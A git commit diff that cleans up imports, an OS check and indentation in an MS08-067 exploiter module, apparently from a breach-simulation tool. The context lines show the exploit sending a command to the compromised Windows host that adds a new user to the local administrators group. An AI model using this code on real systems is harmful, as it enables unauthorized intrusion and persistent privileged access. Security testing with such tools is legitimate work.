Removed typos and cleaned up win_ms08_067.py code

This commit is contained in:
VakarisZ 2020-08-27 14:16:33 +03:00
parent 3414f39245
commit db789abf00
2 changed files with 3 additions and 6 deletions

View File

@ -5,7 +5,6 @@ if sys.platform.startswith("win"):
pythoncom.CoInitialize()
import wmi
import wmi
from .mongo_utils import MongoUtils

View File

@ -163,8 +163,6 @@ class Ms08_067_Exploiter(HostExploiter):
super(Ms08_067_Exploiter, self).__init__(host)
def is_os_supported(self):
if self.host.os['type'] == 'windows':
return True
if self.host.os.get('type') in self._TARGET_OS_TYPE and \
self.host.os.get('version') in list(self._windows_versions.keys()):
return True
@ -197,9 +195,9 @@ class Ms08_067_Exploiter(HostExploiter):
sock.send("cmd /c (net user {} {} /add) &&"
" (net localgroup administrators {} /add)\r\n".format(
self._config.user_to_add,
self._config.remote_user_pass,
self._config.user_to_add).encode())
self._config.user_to_add,
self._config.remote_user_pass,
self._config.user_to_add).encode())
time.sleep(2)
reply = sock.recv(1000)